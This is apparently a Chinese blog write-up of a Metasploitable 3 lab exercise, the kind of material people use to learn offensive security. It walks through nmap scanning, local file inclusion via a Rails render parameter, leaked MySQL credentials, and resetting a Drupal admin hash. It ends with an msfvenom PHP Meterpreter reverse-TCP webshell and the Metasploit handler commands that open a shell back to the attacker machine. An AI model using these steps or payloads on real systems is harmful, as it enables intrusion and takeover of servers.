Metasploitable 3--Intro

实验环境

  • 主机:kali linux(192.168.123.186)
  • 目标机器:Metasploitable 3(ub1404)
  • 网络环境:同网段局域网

首先使用nmap工具进行主机发现 nmap -sn 192.168.123.0/24,找到目标机器的ip地址(因实验环境的特殊性,所以可以直接通过nmap检测到的虚拟机标识来判断目标机器)

Nmap scan report for ubuntu.lan (192.168.123.23)
Host is up (0.00035s latency).
MAC Address: 08:00:27:AD:6F:27 (Oracle VirtualBox virtual NIC)

再使用TCP全连接进行全端口详细扫描nmap -sT -sV -p 1-65535 192.168.123.23,扫描过程耗时较长,出于隐蔽性可以选择使用-sS参数(SYN扫描)替换-sT参数(全连接扫描)

root@kali:~# nmap -sT -sV -p 1-65535 192.168.123.23
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 16:30 CST
Nmap scan report for ubuntu.lan (192.168.123.23)
Host is up (0.00056s latency).
Not shown: 65525 filtered ports
PORT     STATE  SERVICE     VERSION
21/tcp   closed ftp
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7 ((Ubuntu))
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open   irc         UnrealIRCd
8181/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 08:00:27:AD:6F:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: UBUNTU, irc.TestIRC.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.77 seconds

发现其开放了80端口,直接访问目标ip,得到一个文件目录

Metasploitable 3--Intro_第1张图片
80端口

检查过后,仅发现payroll_app.php路径存在可能的注入点(尝试注入失败),逐一访问其他的端口在端口3500一个基于Ruby的web服务WEBrick的首页中发现了一个路径config

Metasploitable 3--Intro_第2张图片
WEBrick

访问之后提示无效路径/config,但报错界面返回了一个有趣的路由表,此处仅截取返回的路由表

Metasploitable 3--Intro_第3张图片
Routes

这里直接访问/readme路径,访问成功!我访问的版本是ub1404,此处点击ubuntu图标

Metasploitable 3--Intro_第4张图片
image.png

进入新的页面发现它有个有趣的url http://192.168.123.23:3500/readme?os=linux,随机传入一个os的值后得到一个报错的debug界面

Metasploitable 3--Intro_第5张图片
Template is missing

从这个界面的报错代码中可以看出通过传入的os确定一个模板,然后通过调用render函数来渲染。关于render的详细信息可以浏览https://apidock.com/rails/ActionController/Base/render,这里截取所需的部分

Metasploitable 3--Intro_第6张图片
render a template

到此可以联想到既然render可以调用一个本地文件,那么它是否可以用于访问目标机器上的任意文件。再回到之前访问80端口获取的目录,通过此处的os参数来访问80端口的目录下的文件,这里以猜测存在注入的payroll_app.php文件测试(apache httpd的默认路径是/var/www/html/)。果然它是存在本地文件包含漏洞的,通过分析网页源码发现一条比较有价值的信息$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');,但从源码中的其他信息可以拼凑出sql查询的执行函数(未发现过滤)。

此处贴出拼凑出的代码供参考

$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
if ($conn--->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
if (!isset($_POST['s'])) {
if($_POST['s']){
    $user = $_POST['user'];
    $pass = $_POST['password'];
    $sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

    if ($conn--->multi_query($sql)) {
        do {
            /* store first result set */
            echo "";
            echo "";
            echo "";
            echo "";
            if ($result = $conn->store_result()) {
                while ($row = $result->fetch_assoc()) {
                    $keys = array_keys($row);
                    echo "";
                    foreach ($keys as $key) {
                        echo "";
                    }
                    echo "\n";
                }
                $result->free();
            }
            if (!$conn->more_results()) {
                echo "" . $row[$key] . "";
            }
        } while ($conn->next_result());
    }
}
} /* 最后这个大括号是我补上的,为了闭合,源码中不存在 */

可能代码不全,也可能本人水平有限此处并未成功注入。但是结合其中发现的数据库的账户和密码可以用来登录phpMyAdmin,(至于原因,本人也在查阅相关资料得知phpMyAdmin是一个以php为基础的mysql管理工具)。从phpMyAdmin中可以看到两个自建的数据库,payroll(里面没有任何有价值的信息,全是一些随机值),drupal(一个开源的内容管理系统)。

如果访问过80端口下的drupal路径的话,可以看到一个登陆页面。在数据库中也可以看到drupal下有一个user表,里面仅存有一个账户,但是密码部分是经过hash处理以后存入数据库的。我们能够访问和修改数据库,也就意味着可以修改数据库中的密码为已知的hash值

Metasploitable 3--Intro_第7张图片
user表,从pass的描述中可以看到hashed

那么顺着思路,如何修改密码可以直接百度。(ps:至于为什么是durpal7,我也不清楚,但网上搜索基本上都是修改durpal7的教程,所以这里便直接参照教程尝试)。此处贴出password对应的hash

$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

(我的水平仅能支撑我走到着了……再往后我不知道我该怎么做了QAQ)

最终还是看了大神的Write Up……原来在drupal中有模块用于过滤php code

PHP filter

勾选以后创建一个article(注:编辑里Text format必须设置为PHP code否则无法执行)

PHP code

使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.123.186,来创建一个reverse tcp webshell,同时启用msfconsole

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.123.186
msf exploit(multi/handler) > exploit

使用msf执行完以上命令以后,将之前命令生成的webshell复制到创建的article中

Metasploitable 3--Intro_第8张图片
Webshell

点击保存以后再看msf就发现已经获取到了目标主机的shell

Metasploitable 3--Intro_第9张图片
msf

(注:如果不想借助msf中大量的payload带来的便利,可以使用一句话木马)

连接目标主机的准备已完成,接下来就开始寻找flag!

你可能感兴趣的:(Metasploitable 3--Intro)